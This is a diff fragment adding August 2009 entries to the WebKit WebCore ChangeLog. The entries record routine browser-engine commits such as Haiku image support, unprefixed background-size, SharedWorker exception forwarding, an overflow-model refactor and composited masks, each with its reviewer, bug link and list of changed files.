+        IconHaiku.cpp, ImageBufferData.h, ImageBufferHaiku.cpp, ImageHaiku.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=28130
+
+        * platform/graphics/Icon.h:
+        * platform/graphics/haiku/IconHaiku.cpp: Added.
+        (WebCore::Icon::~Icon):
+        (WebCore::Icon::createIconForFile):
+        (WebCore::Icon::createIconForFiles):
+        (WebCore::Icon::paint):
+        * platform/graphics/haiku/ImageBufferData.h: Added.
+        * platform/graphics/haiku/ImageBufferHaiku.cpp: Added.
+        (WebCore::ImageBufferData::ImageBufferData):
+        (WebCore::ImageBuffer::ImageBuffer):
+        (WebCore::ImageBuffer::~ImageBuffer):
+        (WebCore::ImageBuffer::context):
+        (WebCore::ImageBuffer::getUnmultipliedImageData):
+        (WebCore::ImageBuffer::getPremultipliedImageData):
+        (WebCore::ImageBuffer::putUnmultipliedImageData):
+        (WebCore::ImageBuffer::putPremultipliedImageData):
+        (WebCore::ImageBuffer::toDataURL):
+        (WebCore::ImageBuffer::image):
+        (WebCore::ImageBuffer::platformTransformColorSpace):
+        * platform/graphics/haiku/ImageHaiku.cpp: Added.
+        (WebCore::FrameData::clear):
+        (WebCore::Image::loadPlatformResource):
+        (WebCore::BitmapImage::initPlatformData):
+        (WebCore::BitmapImage::invalidatePlatformData):
+        (WebCore::BitmapImage::draw):
+        (WebCore::Image::drawPattern):
+        (WebCore::BitmapImage::checkForSolidColor):
+        (WebCore::BitmapImage::getBBitmap):
+
+2009-08-18  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=27575 [CSS3 
+        Backgrounds and Borders] Drop the prefix from background-size
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::):
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+        (WebCore::CSSParser::parseFillProperty):
+        (WebCore::cssPropertyID):
+        * css/CSSPropertyNames.in:
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+        * page/animation/AnimationBase.cpp:
+        (WebCore::FillLayersPropertyWrapper::FillLayersPropertyWrapper):
+        (WebCore::ensurePropertyMap):
+
+2009-08-18  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        SharedWorkers need to forward exceptions to parent documents
+        https://bugs.webkit.org/show_bug.cgi?id=28320
+
+        Changed SharedWorkerProxy to have individual mutexes (so workers can interact with their parent documents without contention).
+
+        Updated SharedWorkerProxy to forward exceptions/console messages to all parent documents.
+
+        * bindings/js/JSSharedWorkerConstructor.cpp:
+        Cleaned up bitrot - added missing include.
+        * workers/DefaultSharedWorkerRepository.cpp:
+        (WebCore::postExceptionTask):
+        Callback used to deliver exceptions to a document.
+        (WebCore::SharedWorkerProxy::postExceptionToWorkerObject):
+        Forwards exceptions to all parent documents for presentation to the user.
+        (WebCore::postConsoleMessageTask):
+        (WebCore::SharedWorkerProxy::postConsoleMessageToWorkerObject):
+        Forwards console messages to all parent documents for presentation to the user.
+        (WebCore::SharedWorkerProxy::addToWorkerDocuments):
+        Grabs the mutex before accessing workerDocuments.
+        (WebCore::SharedWorkerProxy::documentDetached):
+        Grabs the mutex before accessing workerDocuments.
+
+2009-08-18  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        <rdar://problem/7135588> HTMLMediaElement should ask WebPolicyLoadDelegate before loading resource
+        
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::isSafeToLoadURL):
+        Call FrameLoaderClient::shouldLoadMediaElementURL.
+        
+        * loader/FrameLoaderClient.h:
+        (WebCore::FrameLoaderClient::shouldLoadMediaElementURL):
+        Return true by default.
+
+2009-08-18  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        openDatabase() should not execute any SQL statement on the
+        database it's trying to open, unless there are no other open
+        handles to the same database. Otherwise, we might run into a
+        deadlock.
+
+        Test: storage/open-database-while-transaction-in-progress.html
+
+        https://bugs.webkit.org/show_bug.cgi?id=28207
+
+        * storage/Database.cpp:
+        (WebCore::Database::performOpenAndVerify):
+
+2009-08-18  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        SVG Filter feBlend implementation missing
+        [https://bugs.webkit.org/show_bug.cgi?id=28133]
+
+        Implementation of SVG Filter feBlend.
+
+        FilterEffect.cp needed changes to optimize the rendering. With the old code
+        we drew a subEffect on the current FilterEffect by drawImage, got the PixelArray,
+        cleared the drawing area, drew the next FilterEffect with drawImage and picked this
+        PixelArray again. This was unefficient and slow. Now we calculate the requested area
+        of the subEffect and ask the FilterEffect's ImageBuffer for the PixelArray directly,
+        without any drawing operations on GraphicsContext.
+
+        There is already a test case
+        Test: svg/W3C-SVG-1.1/filters-blend-01-b.svg
+
+        * html/canvas/CanvasPixelArray.h:
+        (WebCore::CanvasPixelArray::set):
+        (WebCore::CanvasPixelArray::get):
+        * platform/graphics/filters/FEBlend.cpp:
+        (WebCore::unknown):
+        (WebCore::normal):
+        (WebCore::multiply):
+        (WebCore::screen):
+        (WebCore::darken):
+        (WebCore::lighten):
+        (WebCore::FEBlend::apply):
+        * platform/graphics/filters/FEBlend.h:
+        * platform/graphics/filters/FilterEffect.cpp:
+        (WebCore::FilterEffect::calculateDrawingIntRect):
+        * platform/graphics/filters/FilterEffect.h:
+
+2009-08-18  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Fix array formatter followup: node formatter.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28427
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._format):
+
+2009-08-18  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Metrics sidebar broken
+
+        https://bugs.webkit.org/show_bug.cgi?id=28434
+
+        * inspector/front-end/MetricsSidebarPane.js:
+
+2009-08-18  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28432
+        String::createCFString() returns a non-retained empty string
+
+        No known change in functionality, so no test.
+
+        * platform/text/cf/StringCF.cpp: (WebCore::String::createCFString): Retain the CFSTR result.
+    
+2009-08-18  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fix of <https://bugs.webkit.org/show_bug.cgi?id=28326> DRT on Windows doesn't support 
+        LayoutTestController::setQuota or print a callback on UIDelegate::exceededDatabaseQuota.
+        
+        Removed an early return that can cause deleteOrigin or deleteAllDatabases to fail when
+        it doesn't have to.
+
+        * storage/DatabaseTracker.cpp:
+        (WebCore::DatabaseTracker::deleteOrigin):
+
+2009-08-18  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Adele Peterson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27357
+        Support for :valid and :invalid CSS selectors, from HTML5 specs.
+        http://www.whatwg.org/specs/web-apps/current-work/#selector-valid
+
+        Tests: fast/css/pseudo-invalid-001.html
+               fast/css/pseudo-invalid-002.html
+               fast/css/pseudo-valid-001.html
+               fast/css/pseudo-valid-002.html
+               fast/css/pseudo-valid-003.html
+               fast/css/pseudo-valid-004.html
+               fast/css/pseudo-valid-005.html
+               fast/css/pseudo-valid-006.html
+               fast/css/pseudo-valid-007.html
+
+        * css/CSSSelector.cpp:
+        (WebCore::CSSSelector::extractPseudoType): extracts new pseudo-classes
+        * css/CSSSelector.h:
+        (WebCore::CSSSelector::):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::canShareStyleWithElement): Make sure we don't share style between
+form controls that have different validity states.
+        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector): applies
+        style associated to new pseudo-classes
+        * dom/Element.h:
+        (WebCore::Element::willValidate): pushed up in hierarchy
+        (WebCore::Element::isValidFormControlElement): checks for valid form
+        control elements (wraps ValidityState::valid())
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::willValidate): minor clean up
+        (WebCore::HTMLFormControlElement::isValidFormControlElement): ditto
+        * html/HTMLFormControlElement.h:
+        * html/HTMLKeygenElement.h:
+        (WebCore::HTMLKeygenElement::willValidate): added
+        * html/HTMLObjectElement.h:
+        (WebCore::HTMLObjectElement::willValidate): added
+        * html/HTMLObjectElement.idl:
+
+2009-08-18  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Fix array formatter.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28427
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._formatarray):
+
+2009-08-17  Joe Mason  <joe.mason@torchmobile.com>
+
+        Reviewed by George Staikos
+
+        Replace repeated string of PLATFORM(FOO) with a single define
+        https://bugs.webkit.org/show_bug.cgi?id=27734
+
+        * loader/CachedFont.cpp:
+        (WebCore::CachedFont::~CachedFont):
+        (WebCore::CachedFont::ensureCustomFontData):
+        (WebCore::CachedFont::platformDataFromCustomData):
+        (WebCore::CachedFont::allClientsRemoved):
+
+2009-08-16  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=20329, shadows and reflections incorrectly
+        considered part of scrollable overflow.
+
+        This patch takes the engine's concept of overflow and splits it into two types:
+        layout overflow and visual overflow.
+        
+        Layout overflow is about other boxes that spill out of an enclosing box,  For example,
+        in the inline flow case a tall image could spill out of a line box. Examples of 
+        visual overflow are shadows, text stroke (and eventually outline and
+        border-image).
+
+        Three objects tracked overflow before this patch: RenderBlock had 
+        m_overflowLeft/Top/Width/Height variables.  RootInlineBox had an Overflow*
+        that also had four overflow values.  Finally RenderReplaced elements tracked shadow/reflection
+        overflow using a map that cached four values.
+        
+        This patch takes all of these different overflow models and unifies them into a single
+        new class called RenderOverflow.   This class is now a member variable in RenderBox and
+        InlineFlowBoxes.  It is only allocated if overflow actually exists.  Instead of tracking
+        four values, it tracks eight: left/top/right/bottom for layout overflow and 
+        left/top/right/bottom for visual overflow.
+        
+        Overflow computation is now done after layout is finished rather than during layout
+        (when child objects can be churning and moving around).  A number of layout tests progressed
+        by deferring overflow computation to a separate pass.
+        
+        All inline flow boxes now track overflow (and not just the root line box).  This allows
+        repainting of line boxes to actually be tight and bail early if the overflow rect of a box
+        doesn't intersect.  The old code always visited all object on a line if the root line box
+        intersected at all.
+        
+        Line box overflow no longer propagates across self-painting layers.  This fixes a number of
+        issues with incorrect scrollbars appearing when relative positioned inlines were used in a page.
+        
+        Layer bounds have been modified to exclude visual overflow.  The width/height members only really
+        have one reason for continued existence, and that is that they happen to be used in repaint()
+        when an overflow clip object's height isn't accurate.  In this case, the bounds should exclude
+        visual overflow anyway, so this change tightens that repaint up.
+        
+        Root lines have renamed m_selectionTop/Bottom to m_lineTop/Bottom and positionForPoint methods have
+        been changed to use these instead of relying on overflow (which was totally wrong).
+
+        Significant changes have been made to the "almost strict mode" line box quirk where objects with no
+        text children have no effect on the height of a line.  Instead of making the height() of the objects
+        variable and dependent on overflow, the objects now have their full height and get placed on
+        the baseline properly.  They simply don't contribute to overflow above lineTop/Bottom.
+        
+        Reflections are no longer considered overflow of any kind.  Because reflections have their own layers,
+        it is not necessary to treat them as visual or layout overflow in the RenderObject tree.  The end result
+        of not incorporating them into RenderOverflow is that they have no effect on scrolling.  transparencyClipBox
+        has been extended to support fully reflecting the entire clip box when a reflection exists.  This fixes
+        numerous repaint bugs in transparent objects with reflections when the transparent objects had self-painting
+        sublayers.
+
+        * WebCore.xcodeproj/project.pbxproj:
+        * dom/ContainerNode.cpp:
+        (WebCore::ContainerNode::getUpperLeftCorner):
+        * editing/visible_units.cpp:
+        (WebCore::previousLinePosition):
+        (WebCore::nextLinePosition):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::adjustViewSize):
+        (WebCore::FrameView::adjustPageHeight):
+        * rendering/InlineBox.cpp:
+        (WebCore::InlineBox::height):
+        * rendering/InlineBox.h:
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::adjustPosition):
+        (WebCore::InlineFlowBox::placeBoxesHorizontally):
+        (WebCore::InlineFlowBox::placeBoxesVertically):
+        (WebCore::InlineFlowBox::computeVerticalOverflow):
+        (WebCore::InlineFlowBox::nodeAtPoint):
+        (WebCore::InlineFlowBox::paint):
+        * rendering/InlineFlowBox.h:
+        (WebCore::InlineFlowBox::InlineFlowBox):
+        (WebCore::InlineFlowBox::topCombinedOverflow):
+        (WebCore::InlineFlowBox::bottomCombinedOverflow):
+        (WebCore::InlineFlowBox::leftCombinedOverflow):
+        (WebCore::InlineFlowBox::rightCombinedOverflow):
+        (WebCore::InlineFlowBox::combinedOverflowRect):
+        (WebCore::InlineFlowBox::topLayoutOverflow):
+        (WebCore::InlineFlowBox::bottomLayoutOverflow):
+        (WebCore::InlineFlowBox::leftLayoutOverflow):
+        (WebCore::InlineFlowBox::rightLayoutOverflow):
+        (WebCore::InlineFlowBox::layoutOverflowRect):
+        (WebCore::InlineFlowBox::topVisualOverflow):
+        (WebCore::InlineFlowBox::bottomVisualOverflow):
+        (WebCore::InlineFlowBox::leftVisualOverflow):
+        (WebCore::InlineFlowBox::rightVisualOverflow):
+        (WebCore::InlineFlowBox::visualOverflowRect):
+        (WebCore::InlineFlowBox::setHorizontalOverflowPositions):
+        (WebCore::InlineFlowBox::setVerticalOverflowPositions):
+        * rendering/InlineTextBox.cpp:
+        (WebCore::InlineTextBox::paint):
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::RenderBlock):
+        (WebCore::RenderBlock::layout):
+        (WebCore::RenderBlock::layoutBlock):
+        (WebCore::RenderBlock::addOverflowFromBlockChildren):
+        (WebCore::RenderBlock::handleBottomOfBlock):
+        (WebCore::RenderBlock::layoutBlockChildren):
+        (WebCore::RenderBlock::paint):
+        (WebCore::RenderBlock::fillInlineSelectionGaps):
+        (WebCore::RenderBlock::floatRect):
+        (WebCore::RenderBlock::lowestPosition):
+        (WebCore::RenderBlock::rightmostPosition):
+        (WebCore::RenderBlock::leftmostPosition):
+        (WebCore::RenderBlock::addOverhangingFloats):
+        (WebCore::RenderBlock::nodeAtPoint):
+        (WebCore::RenderBlock::positionForPointWithInlineChildren):
+        (WebCore::RenderBlock::layoutColumns):
+        (WebCore::getHeightForLineCount):
+        * rendering/RenderBlock.h:
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::computeHorizontalPositionsForLine):
+        (WebCore::RenderBlock::computeVerticalPositionsForLine):
+        (WebCore::RenderBlock::layoutInlineChildren):
+        (WebCore::RenderBlock::matchedEndLine):
+        (WebCore::RenderBlock::addOverflowFromInlineChildren):
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::destroy):
+        (WebCore::RenderBox::clippedOverflowRectForRepaint):
+        (WebCore::RenderBox::localCaretRect):
+        (WebCore::RenderBox::addShadowAndReflectionOverflow):
+        (WebCore::RenderBox::addOverflowFromChild):
+        (WebCore::RenderBox::addLayoutOverflow):
+        (WebCore::RenderBox::addVisualOverflow):
+        (WebCore::RenderBox::clearLayoutOverflow):
+        * rendering/RenderBox.h:
+        (WebCore::RenderBox::combinedOverflowRect):
+        (WebCore::RenderBox::topCombinedOverflow):
+        (WebCore::RenderBox::bottomCombinedOverflow):
+        (WebCore::RenderBox::leftCombinedOverflow):
+        (WebCore::RenderBox::rightCombinedOverflow):
+        (WebCore::RenderBox::layoutOverflowRect):
+        (WebCore::RenderBox::topLayoutOverflow):
+        (WebCore::RenderBox::bottomLayoutOverflow):
+        (WebCore::RenderBox::leftLayoutOverflow):
+        (WebCore::RenderBox::rightLayoutOverflow):
+        (WebCore::RenderBox::visualOverflowRect):
+        (WebCore::RenderBox::topVisualOverflow):
+        (WebCore::RenderBox::bottomVisualOverflow):
+        (WebCore::RenderBox::leftVisualOverflow):
+        (WebCore::RenderBox::rightVisualOverflow):
+        * rendering/RenderFlexibleBox.cpp:
+        (WebCore::RenderFlexibleBox::layoutBlock):
+        (WebCore::RenderFlexibleBox::layoutHorizontalBox):
+        (WebCore::RenderFlexibleBox::layoutVerticalBox):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::updateLayerPosition):
+        (WebCore::RenderLayer::localBoundingBox):
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::updateRootLayerPosition):
+        (WebCore::RenderLayerCompositor::ensureRootPlatformLayer):
+        * rendering/RenderLineBoxList.cpp:
+        (WebCore::RenderLineBoxList::paint):
+        (WebCore::RenderLineBoxList::hitTest):
+        * rendering/RenderListItem.cpp:
+        (WebCore::RenderListItem::positionListMarker):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::RenderObject):
+        * rendering/RenderObject.h:
+        * rendering/RenderOverflow.h: Added.
+        (WebCore::RenderOverflow::RenderOverflow):
+        (WebCore::RenderOverflow::topLayoutOverflow):
+        (WebCore::RenderOverflow::bottomLayoutOverflow):
+        (WebCore::RenderOverflow::leftLayoutOverflow):
+        (WebCore::RenderOverflow::rightLayoutOverflow):
+        (WebCore::RenderOverflow::topVisualOverflow):
+        (WebCore::RenderOverflow::bottomVisualOverflow):
+        (WebCore::RenderOverflow::leftVisualOverflow):
+        (WebCore::RenderOverflow::rightVisualOverflow):
+        (WebCore::RenderOverflow::setTopLayoutOverflow):
+        (WebCore::RenderOverflow::setBottomLayoutOverflow):
+        (WebCore::RenderOverflow::setLeftLayoutOverflow):
+        (WebCore::RenderOverflow::setRightLayoutOverflow):
+        (WebCore::RenderOverflow::setTopVisualOverflow):
+        (WebCore::RenderOverflow::setBottomVisualOverflow):
+        (WebCore::RenderOverflow::setLeftVisualOverflow):
+        (WebCore::RenderOverflow::setRightVisualOverflow):
+        (WebCore::RenderOverflow::layoutOverflowRect):
+        (WebCore::RenderOverflow::visualOverflowRect):
+        (WebCore::RenderOverflow::combinedOverflowRect):
+        (WebCore::RenderOverflow::move):
+        (WebCore::RenderOverflow::addLayoutOverflow):
+        (WebCore::RenderOverflow::addVisualOverflow):
+        (WebCore::RenderOverflow::resetLayoutOverflow):
+        * rendering/RenderPartObject.cpp:
+        (WebCore::RenderPartObject::layout):
+        * rendering/RenderReplaced.cpp:
+        (WebCore::RenderReplaced::~RenderReplaced):
+        (WebCore::RenderReplaced::layout):
+        (WebCore::RenderReplaced::shouldPaint):
+        (WebCore::RenderReplaced::positionForPoint):
+        (WebCore::RenderReplaced::clippedOverflowRectForRepaint):
+        * rendering/RenderReplaced.h:
+        * rendering/RenderScrollbarPart.cpp:
+        (WebCore::RenderScrollbarPart::layout):
+        (WebCore::RenderScrollbarPart::paintIntoRect):
+        * rendering/RenderSlider.cpp:
+        (WebCore::RenderSlider::layout):
+        * rendering/RenderTable.cpp:
+        (WebCore::RenderTable::layout):
+        (WebCore::RenderTable::paint):
+        * rendering/RenderTableCell.cpp:
+        (WebCore::RenderTableCell::clippedOverflowRectForRepaint):
+        * rendering/RenderTableSection.cpp:
+        (WebCore::RenderTableSection::layoutRows):
+        * rendering/RenderTableSection.h:
+        * rendering/RenderText.cpp:
+        (WebCore::RenderText::positionForPoint):
+        (WebCore::RenderText::localCaretRect):
+        * rendering/RenderView.cpp:
+        (WebCore::RenderView::layout):
+        * rendering/RootInlineBox.cpp:
+        (WebCore::RootInlineBox::addHighlightOverflow):
+        (WebCore::RootInlineBox::adjustPosition):
+        (WebCore::RootInlineBox::verticallyAlignBoxes):
+        (WebCore::RootInlineBox::selectionTop):
+        * rendering/RootInlineBox.h:
+        (WebCore::RootInlineBox::RootInlineBox):
+        (WebCore::RootInlineBox::nextRootBox):
+        (WebCore::RootInlineBox::prevRootBox):
+        (WebCore::RootInlineBox::lineTop):
+        (WebCore::RootInlineBox::lineBottom):
+        (WebCore::RootInlineBox::selectionBottom):
+        (WebCore::RootInlineBox::selectionHeight):
+        (WebCore::RootInlineBox::floats):
+        (WebCore::RootInlineBox::floatsPtr):
+        (WebCore::RootInlineBox::setLineTopBottomPositions):
+        * rendering/SVGRootInlineBox.cpp:
+        (WebCore::SVGRootInlineBox::layoutInlineBoxes):
+
+2009-08-18  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28431
+        <rdar://problem/7137610> Application Cache doesn't work with HTTP authentication
+
+        Test: http/tests/appcache/auth.html
+
+        * loader/appcache/ApplicationCacheGroup.h:
+        (WebCore::ApplicationCacheGroup::shouldUseCredentialStorage): If appcache is enabled,
+        always allow it to use stored credentials (we can't ask WebKit client, and maybe we
+        shouldn't ask it, because it's not a document that's loading these resources).
+
+2009-08-18  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by John Sullivan and David Hyatt.
+
+        Fix <rdar://problem/7147996>
+
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::setHasHorizontalScrollbar):
+        (WebCore::ScrollView::setHasVerticalScrollbar):
+        Update the style of the scroll bars.
+        
+        * rendering/RenderScrollbar.cpp:
+        (WebCore::RenderScrollbar::RenderScrollbar):
+        Calculate the size of the scrollbar and set it as the frame size.
+
+2009-08-18  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        HTMLMediaElement should fire 'progress' event before 'load'
+        https://bugs.webkit.org/show_bug.cgi?id=28314
+
+        Test: media/progress-event-at-least-one.html
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::setNetworkState):
+            Schedule 'progress' event before 'load'.
+
+2009-08-18  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28415
+        Set svn:eol-style CRLF on all .sln and .vcproj files that don't already
+        have it.
+
+        * WebCore.vcproj/QTMovieWin.vcproj:
+        * WebCore.vcproj/WebCoreGenerated.vcproj:
+
+2009-08-18  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Need to extend DumpRenderTree to expose number of worker threads
+        https://bugs.webkit.org/show_bug.cgi?id=28292
+
+        Expose WorkerThread::workerThreadCount() for DumpRenderTree so we can write worker lifecycle tests.
+
+        Tests: fast/workers/shared-worker-lifecycle.html-disabled
+               fast/workers/worker-lifecycle.html
+
+        * WebCore.base.exp:
+        Exported WorkerThread::workerThreadCount().
+        * WebCore.xcodeproj/project.pbxproj:
+        * workers/WorkerThread.cpp:
+        Added tracking of the number of worker threads.
+        (WebCore::threadCountMutex):
+        (WebCore::WorkerThread::workerThreadCount):
+        (WebCore::WorkerThread::WorkerThread):
+        (WebCore::WorkerThread::~WorkerThread):
+        * workers/WorkerThread.h:
+
+2009-08-18  Ariya Hidayat  <ariya.hidayat@nokia.com>
+
+        Unreviewed, build fix.
+
+        [Qt] Add new files I forgot to add in r47424.
+
+2009-08-18  Markus Goetz <Markus.Goetz@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        [Qt] Implement prefetchDNS() function.
+
+        * WebCore.pro:
+        * platform/qt/TemporaryLinkStubs.cpp:
+
+2009-08-18  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Support for parsing <datalist> element and generating HTMLDataListElement nodes.
+        https://bugs.webkit.org/show_bug.cgi?id=26915
+
+        Tests: fast/forms/datalist-nonoption-child.html
+               fast/forms/datalist.html
+
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * WebCore.vcproj/build-generated-files.sh:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * css/html.css:
+        * html/CollectionType.h:
+        (WebCore::):
+        * html/HTMLCollection.cpp:
+        (WebCore::HTMLCollection::itemAfter):
+        * html/HTMLDataListElement.cpp: Added.
+        (WebCore::HTMLDataListElement::HTMLDataListElement):
+        (WebCore::HTMLDataListElement::~HTMLDataListElement):
+        (WebCore::HTMLDataListElement::checkDTD):
+        (WebCore::HTMLDataListElement::options):
+        * html/HTMLDataListElement.h: Added.
+        * html/HTMLDataListElement.idl: Added.
+        * html/HTMLElement.cpp:
+        (WebCore::inlineTagList):
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::isAffectedByResidualStyle):
+        * html/HTMLTagNames.in:
+
+2009-08-17  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        -webkit-box-orient:horizontal doesn't work on <button> tag
+        https://bugs.webkit.org/show_bug.cgi?id=34445
+
+        Make a flexible button's anonymous child flexible and pass the
+        parent's box-orient to the anonymous child.
+
+        Also, added a renderName for anonymous flexible boxes.
+
+        Test: fast/flexbox/box-orient-button.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::createAnonymousBlock):
+        * rendering/RenderBlock.h:
+        * rendering/RenderButton.cpp:
+        (WebCore::RenderButton::addChild):
+        (WebCore::RenderButton::setupInnerStyle):
+        * rendering/RenderFlexibleBox.cpp:
+        (WebCore::RenderFlexibleBox::renderName):
+
+2009-08-17  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+        
+        Render -webkit-mask via compositing layers when possible
+        https://bugs.webkit.org/show_bug.cgi?id=28414
+        
+        Implement accelerated compositing of -webkit-mask, when combined
+        with already-composited content.
+        
+        RenderLayerBacking now creates an additional GraphicsLayer for the mask contents,
+        and sets this as the mask on another GraphicsLayer via the setMaskLayer() method.
+        GraphicsLayerCA then applies the mask using -[CALayer setMask:].
+        
+        The enum values for GraphicsLayerPaintingPhase were renamed to avoid the
+        confusion with "mask", and a new value, GraphicsLayerPaintMask, was added which
+        indicates that just the mask is painting.
+        
+        When painting the composited mask, we need to paint with the normal compositing
+        mode rather than CompositeDestinationIn, so InlineFlowBox and RenderBox now consult
+        layer()->hasCompositedMask() to pick the mode. If the mask is composited, they no longer
+        need to make transparency layers.
+        
+        We no longer have to throw video rendering into software because of masks.
+        
+        When a masked element has composited descendants, that element needs to
+        become composited so that the mask can be applied via compositing.
+
+        Tests: compositing/masks/masked-ancestor.html
+               compositing/masks/simple-composited-mask.html
+
+        * platform/graphics/GraphicsLayer.cpp:
+        (WebCore::GraphicsLayer::GraphicsLayer):
+        * platform/graphics/GraphicsLayer.h:
+        (WebCore::GraphicsLayer::maskLayer):
+        (WebCore::GraphicsLayer::setMaskLayer):
+        (WebCore::GraphicsLayer::paintingPhase):
+        (WebCore::GraphicsLayer::setPaintingPhase):
+        * platform/graphics/GraphicsLayerClient.h:
+        (WebCore::):
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        (WebCore::GraphicsLayerCA::):
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::setMaskLayer):
+        (WebCore::GraphicsLayerCA::recursiveCommitChanges):
+        (WebCore::GraphicsLayerCA::commitLayerChanges):
+        (WebCore::GraphicsLayerCA::updateMaskLayer):
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::paintMask):
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::paintMaskImages):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::hasCompositedMask):
+        * rendering/RenderLayer.h:
+        (WebCore::RenderLayer::hasCompositedMask):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::~RenderLayerBacking):
+        (WebCore::RenderLayerBacking::destroyGraphicsLayer):
+        (WebCore::RenderLayerBacking::updateGraphicsLayerConfiguration):
+        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry):
+        (WebCore::RenderLayerBacking::updateForegroundLayer):
+        (WebCore::RenderLayerBacking::updateMaskLayer):
+        (WebCore::RenderLayerBacking::paintingPhaseForPrimaryLayer):
+        (WebCore::RenderLayerBacking::setContentsNeedDisplay):
+        (WebCore::RenderLayerBacking::setContentsNeedDisplayInRect):
+        (WebCore::RenderLayerBacking::paintIntoLayer):
+        (WebCore::RenderLayerBacking::paintContents):
+        * rendering/RenderLayerBacking.h:
+        (WebCore::RenderLayerBacking::hasMaskLayer):
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
+        (WebCore::RenderLayerCompositor::canAccelerateVideoRendering):
+        (WebCore::RenderLayerCompositor::requiresCompositingWhenDescendantsAreCompositing):
+        * rendering/RenderLayerCompositor.h:
+
+2009-08-17  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Layer content misplaced with compositing, z-index and overflow
+        https://bugs.webkit.org/show_bug.cgi?id=28361
+        
+        The foreground GraphicsLayer (used to render element foreground when the element has 
+        negative z-order children) was misplaced when there is a clipping layer (which clips
+        children). The foreground layer is parented under the clipping layer so that the foreground
+        depth-sorts with the layer's children, so its geometry needs to be computed relative to
+        that clipping layer.
+        
+        Also clarified some FIXME comments, and corrected a debug-only layer name.
+
+        Test: compositing/geometry/clipping-foreground.html
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::updateSublayerList):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry):
+        (WebCore::RenderLayerBacking::updateForegroundLayer):
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
+
+2009-08-17  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fix leaks of SVGElementInstance seen during regression tests.
+
